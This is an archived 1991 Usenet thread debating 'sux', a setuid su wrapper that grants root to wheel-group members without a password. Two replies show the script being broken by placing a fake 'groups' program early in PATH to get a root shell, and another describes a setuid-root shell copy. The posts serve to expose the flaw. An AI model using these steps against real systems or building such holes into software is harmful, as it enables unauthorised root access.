peter@ficc.ferranti.com (Peter da Silva) (04/25/91)
In article <462@frcs.UUCP> paul@frcs.UUCP (Paul Nash) writes: > I recently hacked up a fairly trivial enhancer for `su', that allows > members of group `wheel' to su at will _without_ needing the root > password. Can you say security problem? I knew you could. My boss did something like this until I talked him out of it. You've now opened a whole new class of paths to the keys to the kingdom. -- Peter da Silva. `-_-' peter@ferranti.com +1 713 274 5180. 'U` "Have you hugged your wolf today?"
tchrist@convex.COM (Tom Christiansen) (04/25/91)
As it is, the program is undesirable from a security standpoint. It would be less so if the user were at least prompted for his own password. --tom
tneff@bfmny0.BFM.COM (Tom Neff) (04/25/91)
Will this thing run on the RS/6000 workstation? I hope someone ports it. The world has waited long enough for a REAL 6000-SUX!
kyle@uunet.uu.net (Kyle Jones) (04/25/91)
Tom Christiansen writes: > As it is, the program is undesirable from a security standpoint. It would > be less so if the user were at least prompted for his own password. Which kills the basic usefulness of the command! The whole point was to avoid typing a password. The idea behind this easy su seems to be to let the right users _conveniently_ become root, so they can do so often for short periods--- instead of creating one root shell and using it all day, eventually forgetting that they are root and destroying something.
tchrist@convex.COM (Tom Christiansen) (04/25/91)
From the keyboard of kyle@uunet.uu.net (Kyle Jones):
:Tom Christiansen writes:
: > As it is, the program is undesirable from a security standpoint. It would
: > be less so if the user were at least prompted for his own password.
:
:Which kills the basic usefulness of the command! The whole point
:was to avoid typing a password. The idea behind this easy su
:seems to be to let the right users _conveniently_ become root, so
:they can do so often for short periods--- instead of creating one
:root shell and using it all day, eventually forgetting that they
:are root and destroying something.
And this is a feature??? If there are users who can become root
without a password, then it's MUCH easier to subvert the system.
You walk into their office when they're not there and do something.
Or you TIOCSTIO them to do what you want. Or you plant a trojan horse
for them to trigger, usually easier done to joe random user than for
the superuser. If there are N users who are root w/o a passwd,
it's really much worse.
Passwordless root accounts: Just say NO!!
--tom
ps: Now I know how the command got its name. :-)kyle@uunet.uu.net (Kyle Jones) (04/26/91)
Tom Christiansen writes: > And this is a feature??? If there are users who can become root > without a password, then it's MUCH easier to subvert the > system. I think we're talking around each other. Most people understand the decrease in security. What you gain is ease of use and safety. Using a root shell is like using a table saw without the guard plate. Make it easy for people to become root when they need to, and they're less likely to run as root when they don't need to. This is what the command is supposed to offer. As for the consequences, well, there are always tradeoffs.
tchrist@convex.COM (Tom Christiansen) (04/26/91)
One might also look into the sudo program for something like this. --tom
jc@raven.bu.edu (James Cameron) (04/26/91)
>>>>> On 25 Apr 91 17:31:26 GMT, kyle@uunet.uu.net (Kyle Jones) said: Kyle> Tom Christiansen writes: > And this is a feature??? If there are users who can become root > without a password, then it's MUCH easier to subvert the > system. Kyle> I think we're talking around each other. Most people understand Kyle> the decrease in security. What you gain is ease of use and Kyle> safety. Using a root shell is like using a table saw without the Kyle> guard plate. Make it easy for people to become root when they Kyle> need to, and they're less likely to run as root when they don't Kyle> need to. This is what the command is supposed to offer. As for Kyle> the consequences, well, there are always tradeoffs. Wait, since when is typing an 8 character password time consuming or difficult?? *I* certainly don't want to worry that if I suddenly have to leave the room for a brief second, that someone is going to type sux and have access to root privs. I find this to simply be a MAJOR security risk. jc -- -- James Cameron (jc@raven.bu.edu) Signal Processing and Interpretation Lab. Boston, Mass (617) 353-2879 ------------------------------------------------------------------------------ "But to risk we must, for the greatest hazard in life is to risk nothing. For the man or woman who risks nothing, has nothing, does nothing, is nothing." (Quote from the eulogy for the late Christa McAuliffe.)
rhys@cs.uq.oz.au (Rhys Weatherley) (04/26/91)
In <130392@uunet.UU.NET> kyle@uunet.uu.net (Kyle Jones) writes: >Which kills the basic usefulness of the command! The whole point >was to avoid typing a password. The idea behind this easy su >seems to be to let the right users _conveniently_ become root, so >they can do so often for short periods--- instead of creating one >root shell and using it all day, eventually forgetting that they >are root and destroying something. Which doesn't stop the wrong user from stepping up to the right user's terminal when the right user is on a coffee break or whatever, typing "sux" and creating general havoc. If "sux" had a password then the most the wrong user could do was mess up anything the right user can do as him or herself. Diligence on the part of the right user will avoid this problem, but sooner or later he or she will forget to logoff or lock their terminal or room, and chaos will begin. Rhys. +=====================+==================================+ || Rhys Weatherley | The University of Queensland, || || rhys@cs.uq.oz.au | Australia. G'day!! || +=====================+==================================+
peltz@cerl.uiuc.edu (Steve Peltz) (04/26/91)
In article <1991Apr25.174534.13912@ux1.cso.uiuc.edu> I wrote: (regarding a program that calls su) >su on our system requires the real uid to be root to avoid being asked for >a password, so your program won't work. Oops, I read the comments and not the actual call; I see it uses setuid, although the comments refer to only setting the effective uid. As to any objections on setuid sh scripts: well, yah, ok, nevermind. -- Steve Peltz Internet: peltz@cerl.uiuc.edu PLATO/NovaNET: peltz/s/cerl
rearl@gnu.ai.mit.edu (Robert Earl) (04/26/91)
In article <1991Apr25.174534.13912@ux1.cso.uiuc.edu> peltz@cerl.uiuc.edu (Steve Peltz) writes: | Don't forget to change it to be owned by root and setuid and executable... | | #!/bin/sh | groups | grep -s wheel && su $* || echo Sorry Okay, great. Let's install this little script: root@host# chown root sux root@host# chmod 4755 sux root@host# mv sux /bin joe@host$ cat /bin/sux #!/bin/sh groups | grep -s wheel && su $* || echo Sorry joe@host$ cd joe@host$ cat > groups << ! > #!/bin/sh > /bin/echo wheel > ! joe@host$ chmod 755 groups joe@host$ PATH=:/bin /bin/sux joe@host# How cool.
diamond@jit533.swstokyo.dec.com (Norman Diamond) (04/26/91)
In article <130394@uunet.UU.NET> kyle@uunet.uu.net (Kyle Jones) writes: >Tom Christiansen writes: > > And this is a feature??? If there are users who can become root > > without a password, then it's MUCH easier to subvert the > > system. > >I think we're talking around each other. Most people understand >the decrease in security. What you gain is ease of use and safety. Yeah OK. Then users in group "wheel" should also be allowed to use the "passwd" command to set their new passwords without first typing their old ones. After all, they can get there via "sux". Only mortal users should have their legitimacy verified. ( :-S sarcasm) -- Norman Diamond diamond@tkov50.enet.dec.com If this were the company's opinion, I wouldn't be allowed to post it.
dhawk@well.sf.ca.us (David Hawkins) (04/26/91)
kyle@uunet.uu.net (Kyle Jones) writes: >Make it easy for people to become root when they >need to, and they're less likely to run as root when they don't >need to. This is what the command is supposed to offer. As for >the consequences, well, there are always tradeoffs. Make a copy of /bin/sh or /bin/csh (or whatever shell you like), and make it suid root and group executable only by group wheel or group root (depending on your system) -rws--x--- 1 root root 26288 Oct 21 1989 /rootsh Easy enough. NOTE: I would not do this, of course and do *not* recommend it, but it's about as secure as your /etc/group file and the passwords of the folks in group root or group wheel later, david -- David Hawkins - dhawk@well.sf.ca.us - {apple,pacbell,hplabs,ucbvax}!well!dhawk There are two insults no human being will endure: that he has no sense of humor, and that he has never known trouble. -- Sinclair Lewis, "Main Street"
peter@ficc.ferranti.com (Peter da Silva) (04/27/91)
In article <1991Apr25.174534.13912@ux1.cso.uiuc.edu> peltz@cerl.uiuc.edu (Steve Peltz) writes: > #!/bin/sh > groups | grep -s wheel && su $* || echo Sorry $ cd /tmp $ echo 'exec sh -i' > groups $ chmod +x groups $ PATH=:$PATH; export PATH $ sux # vi /etc/passwd... -- Peter da Silva. `-_-' peter@ferranti.com +1 713 274 5180. 'U` "Have you hugged your wolf today?"
peltz@cerl.uiuc.edu (Steve Peltz) (04/27/91)
Yeah, yeah, enough already! Heck, I posted that a setuid script wasn't a good idea even before anyone responded to me (other than e-mail complaining that it wasn't source in alt.sources). However, I do have one question regarding security (and lack thereof) in a sh script. The two major problems pointed out to me were that I assumed the path to various programs, and that IFS can be set on a sh script. However, I do notice that, at least in the version of sh on this Sun, if I enter: IFS= it will do the expected thing REGARDLESS of what the IFS already is. After that, of course, I'll set: PATH=/bin:/usr/ucb and be done with it. The only other security hole pointed out to me was more generic to any script, not just a particular flavor of shell. My other answer to making such a script secure would be to make it executable only by group wheel. Since it is intended to allow anyone in group wheel to execute it, there is no (additional) security problem. All that aside, the main problem with my script is that it only sets the effective uid, and I suspect that most su implementations require the real uid to be set to root as well. Thanks to everyone who took the time to politely (or not so politely) remind me of the various problems with shell scripts. I apologize for not thinking a bit more about the issues before posting a what seemed to be a simple solution. -- Steve Peltz Internet: peltz@cerl.uiuc.edu PLATO/NovaNET: peltz/s/cerl
nazgul@alphalpha.com (Kee Hinckley) (04/27/91)
In article <130394@uunet.UU.NET> kyle@uunet.uu.net (Kyle Jones) writes: >safety. Using a root shell is like using a table saw without the >guard plate. Make it easy for people to become root when they >need to, and they're less likely to run as root when they don't >need to. This is what the command is supposed to offer. As for >the consequences, well, there are always tradeoffs. If that's the case, then don't bother starting a shell. Just have a one shot command executor. I've been using: be user-name command-name arguments... for years. It's great. I don't become root to do things I don't have to, I become exactly as powerful as I have to. I wouldn't recommend it in an environment where you don't trust people though. -- Alfalfa Software, Inc. | Poste: The EMail for Unix nazgul@alfalfa.com | Send Anything... Anywhere 617/646-7703 (voice/fax) | info@alfalfa.com I'm not sure which upsets me more: that people are so unwilling to accept responsibility for their own actions, or that they are so eager to regulate everyone else's.
paul@frcs.UUCP (Paul Nash) (04/27/91)
Thus spake Peter da Silva (and many, many others): > > In article <462@frcs.UUCP> paul@frcs.UUCP (Paul Nash) writes: > > I recently hacked up a fairly trivial enhancer for `su', that allows > > members of group `wheel' to su at will _without_ needing the root > > password. > > Can you say security problem? I knew you could. My boss did something > like this until I talked him out of it. Yes, this is a security problem. However, I run a one-man-band, and have an office 10 miles outside town. For my applications, I am far, far happier to give a cracker 5 or 6 ids that s/he can attack than have to type a long-winded root password every time I need to become root. I also run a local not-quite-pubnix machine, that about 6 people scattered around the country need root access to from time to time. I prefer giving them `sux' to handing out the root password. Sure, it's not all things to all men. For people like me, though, it is just great. I know of about 8 people who view this as the answer to their problems. If you want security, however, remove _all_ setuid programs, and make root NOLOGIN. Oh, also turn off the power, just in case. ---=---=---=---=---=---=---=---=---=---=---=---=---=---=---=---=---=--- Paul Nash Free Range Computer Systems cc paul@frcs.UUCP ...!uunet!m2xenix!frcs!paul